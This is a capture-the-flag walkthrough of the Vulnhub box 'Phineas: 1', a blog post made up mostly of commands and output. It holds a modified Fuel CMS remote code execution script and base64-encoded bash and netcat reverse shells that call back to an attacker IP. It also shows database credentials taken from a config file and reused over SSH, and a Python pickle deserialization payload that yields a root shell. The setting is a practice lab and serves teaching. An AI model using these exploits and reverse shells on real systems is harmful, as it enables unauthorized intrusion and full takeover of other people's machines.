Home PHINEAS: 1
Post
Cancel

PHINEAS: 1

Overview

Great box to practice enumeration, modifying public exploit to suit our needs and exploiting Python pickles.

Box DifficultyLink
Easy-MediumVulnhub Link

For this box I downloaded it off vulnhub and run it on my network.

Recon

Let’s start begin with our standard pre-enumeration process to find out all the open ports.

This time let’s use nmap to find all open ports

1
2
3
4
5
6
7
8
9
10
11
12
13
└─# nmap -p- 192.168.1.29                                                 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 04:51 EDT
Nmap scan report for phineas (192.168.1.29)
Host is up (0.00044s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
3306/tcp open  mysql
MAC Address: 08:00:27:E3:69:7E (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.14 seconds                 

Now that we found that there are 4 open ports, let’s do a nmap to find more information about the service running.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─# nmap -sV -sC -p 22,80,111,3306 192.168.1.29                                                                                                                     
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 04:53 EDT
Nmap scan report for phineas (192.168.1.29)
Host is up (0.00035s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac:d8:0a:a8:6a:1f:78:6d:ac:06:8f:65:3e:ff:9c:8b (RSA)
|   256 e7:f8:b0:07:1c:5b:4a:48:10:bc:f6:36:42:62:6c:e0 (ECDSA)
|_  256 c8:f0:ea:b8:bf:6b:a5:12:1f:9a:91:62:9d:1a:ce:75 (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
3306/tcp open  mysql   MariaDB (unauthorized)
MAC Address: 08:00:27:E3:69:7E (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

Really nothing much to work on. But let’s enumerate common ports more.

Mysql - TCP 3306

Nothing much on port 3306 based on nmap scans.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─# nmap -sV -p 3306 --script="banner,(mysql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" 192.168.1.29                                            
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 04:59 EDT                                                                                                           
Nmap scan report for phineas (192.168.1.29)                                                                                                                               
Host is up (0.00059s latency).                                                                                                                                            
                                                                                                                                                                          
PORT     STATE SERVICE VERSION                                                                                                                                            
3306/tcp open  mysql   MariaDB (unauthorized)                                                                                                                             
| banner: ?\x00\x00\x00\xFFj\x04Host 'kali' is not allowed to connect to                                                                                                  
|_this MariaDB server
|_mysql-empty-password: Host 'kali' is not allowed to connect to this MariaDB server
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown: 
MAC Address: 08:00:27:E3:69:7E (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds

HTTP- TCP 80

Running nikto doesn’t gives much information just that we know its running php and apache as it backend.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─# nikto -ask=no -h 192.168.1.29:80 2>&1
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.1.29
+ Target Hostname:    192.168.1.29
+ Target Port:        80
+ Start Time:         2021-04-27 05:01:25 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8724 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-04-27 05:02:29 (GMT-4) (64 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Thankful gobuster file enumeration shows that there is a “structure” folder found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
└─# gobuster dir -u http://192.168.1.29 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html
,php,jsp"                                                                             
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.29
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,html,php,jsp
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/04/30 13:26:59 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.29/structure            (Status: 301) [Size: 238] [--> http://192.168.1.29/structure/]

Further enumeration of the “structure” folder reveals that there is a Fuel CMS running on the backend.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─# gobuster dir -u http://192.168.1.29/structure/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,jsp" 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.29/structure/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              jsp,txt,html,php
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/04/27 13:30:17 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.29/structure/assets               (Status: 301) [Size: 245] [--> http://192.168.1.29/structure/assets/]
http://192.168.1.29/structure/robots.txt           (Status: 200) [Size: 30]                                             
http://192.168.1.29/structure/index.php            (Status: 200) [Size: 9288]                                           
http://192.168.1.29/structure/fuel                 (Status: 301) [Size: 243] [--> http://192.168.1.29/structure/fuel/]

Shell as Apache

Searchsploit shows that there is a exploit available:

1
2
3
4
5
6
7
8
9
10
└─# searchsploit fuel cms                                    
---------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                          |  Path
---------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                                              | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                                              | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                                                                    | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                                                                        | php/webapps/48778.txt
---------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

After downloading the exploit, modify the exploit file to suit our need.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib

url = " http://192.168.1.29/structure/"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
        xxxx = raw_input('cmd:')
        burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2>
        #proxy = {"http":"http://127.0.0.1:8080"}
        r = requests.get(burp0_url)

        html = "<!DOCTYPE html>"
        htmlcharset = r.text.find(html)

        begin = r.text[0:20]
        dup = find_nth_overlapping(r.text,begin,2)

        print r.text[0:dup]

Run the exploit and command to see who we are and what we can do!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─# python 47138.py                                                                                                                                                       
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python co
re team. Support for it is now deprecated in cryptography, and will be removed in a future release.                                                                       
cmd:id                                                                                                                                                                    
systemuid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0   

cmd:which awk perl python python3 ruby gcc cc vi vim nmap find netcat nc wget tftp ftp php 2>/dev/null                                                                    
system/usr/bin/awk                                                                   
/usr/bin/perl                                                                                                                                                             
/usr/bin/python                      
/usr/bin/python3                                                                     
/usr/bin/ruby
/usr/bin/vi
/usr/bin/vim
/usr/bin/find
/usr/bin/nc
/usr/bin/wget
/usr/bin/php                

Something i like to do is base64 encode and decode then pipe to bash for reverse shell:

1
2
3
bash -i >& /dev/tcp/192.168.1.152/4444 0>&1  # Base64 encode this
  
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzQ0NDQgMD4mMQ== | base64 -d | bash

Running the exploit:

1
2
3
└─$ python 47138.py

cmd:echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTUyLzQ0NDQgMD4mMQ== | base64 -d | bash

On our attacking machine :

1
2
3
4
5
6
7
8
9
10
11
12
13
└─# nc -lvnp 4444                                                                                                                                                     
listening on [any] 4444 ...
connect to [192.168.1.152] from (UNKNOWN) [192.168.1.29] 58334
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
bash-4.2$ hostname && whoami && id
hostname && whoami && id
phineas
apache
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
bash-4.2$ 

Great! Shell as apache!

Shell as anna

Whenever there is a web CMS installed, sometimes it’s best to look through the configuration file for password reuse attacks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bash-4.2$ pwd                                                                                                                                                             
pwd                                                                                                                                                                       
/var/www/html/structure/fuel/application/config                                                                                                                           
bash-4.2$ ls -la                                                                                                                                                                                                                                                                                                                          
....
....                                                                                                                                                                                                                                                   
-rwxr-xr-x.  1 apache apache  4647 Apr  1 04:22 database.php                                                                                                            
....
.... 
bash-4.2$ cat database.php
....
....
$db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'anna',
        'password' => 'H993hfkNNid5kk',
        'database' => 'anna',
...
....

Having a username and password, let us SSH into the machine as anna.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ssh anna@192.168.1.29
anna@192.168.1.29's password: 
[anna@phineas ~]$ whoami && id && hostname
anna
uid=1001(anna) gid=1001(anna) groups=1001(anna) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Phineas
[anna@phineas ~]$ cd Desktop/
[anna@phineas Desktop]$ ls -la
total 8
drwx------.  2 anna anna   22 Mar 31 05:34 .
drwx------. 19 anna anna 4096 Apr 27 12:52 ..
-rwx------.  1 anna anna   35 Mar 31 05:21 user.txt
[anna@phineas Desktop]$ cat user.txt 
c2Vpc2VtcHJlbmVsbWlvY3VvcmVtYW1tYQ

And we are anna!

Shell as Root

After running linpeas we can see that there are 2 ports running locally on port 631 and 5000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] Iptables rules
iptables rules Not Found

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                    
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      -                    
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      -                    
tcp6       0      0 :::111                  :::*                    LISTEN      -                    
tcp6       0      0 :::80                   :::*                    LISTEN      -                    
tcp6       0      0 :::22                   :::*                    LISTEN      -                    
tcp6       0      0 ::1:631                 :::*                    LISTEN      -    

Also running pspy64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[anna@phineas 192.168.1.152]$ ./pspy64 -pf -i 1000                                                                                                                        
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855                                                                                             
                                                                                                                                                                          
                                                                                                                                                                          
     ██▓███    ██████  ██▓███ ▓██   ██▓                                                                                                                                   
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒                                                                                                                                   
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░                                                                                                                                   
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░                                                                                                                                   
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░                                                                                                                                   
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒                                                                                                                                    
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░                                                                                                                                    
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░                                                                                                                                     
                   ░           ░ ░                                                                                                                                        
                               ░ ░                                                                                                                                        
                                                                                                                                                                          
Config: Printing events (colored=true): processes=true | file-system-events=true ||| Scannning for processes every 1s and on inotify events ||| Watching directories: [/us
r /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)                                                                                                             
Draining file system events due to startup...                                                                                                                             
done                                                                                                                                                                      
2021/04/30 12:54:19 CMD: UID=0    PID=998    | /usr/sbin/httpd -DFOREGROUND                                                                                               
2021/04/30 12:54:19 CMD: UID=0    PID=990    | /usr/bin/python3 /usr/local/bin/flask run                                                                                  
2021/04/30 12:54:19 CMD: UID=0    PID=989    | /usr/sbin/rsyslogd -n                                                                                                      
2021/04/30 12:54:19 CMD: UID=0    PID=985    | /usr/sbin/sshd -D                                                                                                          
2021/04/30 12:54:19 CMD: UID=0    PID=984    | /bin/bash /root/run_flask.sh  

We can see that there is a flask service running on the system. This is highly suspicious since in anna home folder, after further enumeration we can find the below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[anna@phineas web]$ cat app.py
#!/usr/bin/python3

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)


@app.route("/heaven", methods=["POST"])
def heaven():
    data = base64.urlsafe_b64decode(request.form['awesome'])
    pickle.loads(data)
    return '', 204

The scripts shows that at /heaven, there is a POST route that takes form data awesome. The data comes encoded in base64 (for transfer), is decoded and then unpickled.

Combining this together, we can deduce that the server is hosting a python flask on port 5000 and we are to exploit python pickle to escalate to root.

How do we know if pickle not secure? Based on its documentation page:

Warning The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Thus, to execute the exploit we cannot simply send a request within the phineas system, we have to create a local port forwarding so we are able to send a request from our system to phineas to port 5000.

First, we set a ssh local port forwarding

Syntax :

1
2
3
4
5
6
7
8
9
e.g. ssh remotehost -L 123:localhost:456
123 — port 123 on our machine to receive the forwarded port from the remote host
localhost — The forward to host. In this particular case it’s the victim machine
456 — port 456 on the target machine (victim) to be forwarded to the remote host
remotehost — system we want to SSH into and forward ports from.

If server is running a website on port 8080 but you can only access it internally from the target’s network. Using an arbitrary port like 9000 on our Kali system we can use this to access the website.
The command to do this would be: ssh -L 9000:localhost:8080 victim
Once the tunnel has been established you can access this new website via http://localhost:9000
1
2
3
4
└─# ssh anna@192.168.1.29 -L 5000:localhost:5000   
anna@192.168.1.29's password: 
Last login: Fri Apr 30 13:03:53 2021 from kali
[anna@phineas ~]$ 

Once the tunnel has been established we can access this new website at http://localhost:5000

Now to create the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root💀kali)-[/opt/HTB/Phineas]
└─# cat exp.py         
import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
               '/bin/sh -i 2>&1 | nc 192.168.1.152 1234 > /tmp/f')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
                                                                                                                                                                          
┌──(root💀kali)-[/opt/HTB/Phineas]
└─# python3 exp.py                  
b'gASVcgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFdybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxOTIuMTY4LjEuMTUyIDEyMzQgPiAvdG1wL2aUhZRSlC4='

Sending the payload:

1
2
┌──(root💀kali)-[/opt]
└─# curl -X "POST" -d "b'gASVcgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFdybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdCAvdG1wL2YgfCAvYmluL3NoIC1pIDI-JjEgfCBuYyAxOTIuMTY4LjEuMTUyIDEyMzQgPiAvdG1wL2aUhZRSlC4='" http://127.0.0.1:5000/heaven  

Catching the shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
└─# nc -lvnp 1234                                                                                                                                                  
listening on [any] 1234 ...                                                                                                                                               
connect to [192.168.1.152] from (UNKNOWN) [192.168.1.29] 42030                                                                                                            
sh: no job control in this shell                                                                                                                                          
sh-4.2# whoami                                                                                                                                                            
whoami                                                                                                                                                                    
root                                                                                                                                                                      
sh-4.2# pwd                                                                                                                                                               
pwd                                                                                                                                                                       
/home/anna/web
sh-4.2# cd /root
cd /root
sh-4.2# ls -la
ls -la
total 40
drw-------.  7 root root  265 Apr  1 05:17 .
dr-xr-xr-x. 17 root root  224 Nov 23 12:26 ..
-rw-------.  1 root root 1920 Nov 23 12:27 anaconda-ks.cfg
-rw-------.  1 root root  107 Apr  1 13:56 .bash_history
-rw-r--r--.  1 root root   18 Dec 28  2013 .bash_logout
-rw-r--r--.  1 root root  176 Dec 28  2013 .bash_profile
-rw-r--r--.  1 root root  176 Dec 28  2013 .bashrc
drwx------.  5 root root   42 Mar 31 04:01 .cache
drwx------.  4 root root   30 Mar 31 03:52 .config
-rw-r--r--.  1 root root  100 Dec 28  2013 .cshrc
drwx------.  3 root root   25 Nov 23 12:28 .dbus
drwxr-xr-x.  4 root root   31 Apr  1 05:17 .gem
-rw-------.  1 root root 1948 Nov 23 12:29 initial-setup-ks.cfg
drwxr-----.  3 root root   19 Mar 31 03:58 .pki
-rw-------.  1 root root   32 Mar 31 05:22 root.txt
-rwx--x--x.  1 root root   43 Mar 31 05:26 run_flask.sh
-rw-r--r--.  1 root root  129 Dec 28  2013 .tcshrc
sh-4.2# cat root.txt
cat root.txt
YW5uYW1hcmlhbmljb3NhbnRpdml2ZSE
sh-4.2# whoami && id && hostname
whoami && id && hostname
root
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
phineas

Rooted!

This post is licensed under CC BY 4.0 by the author.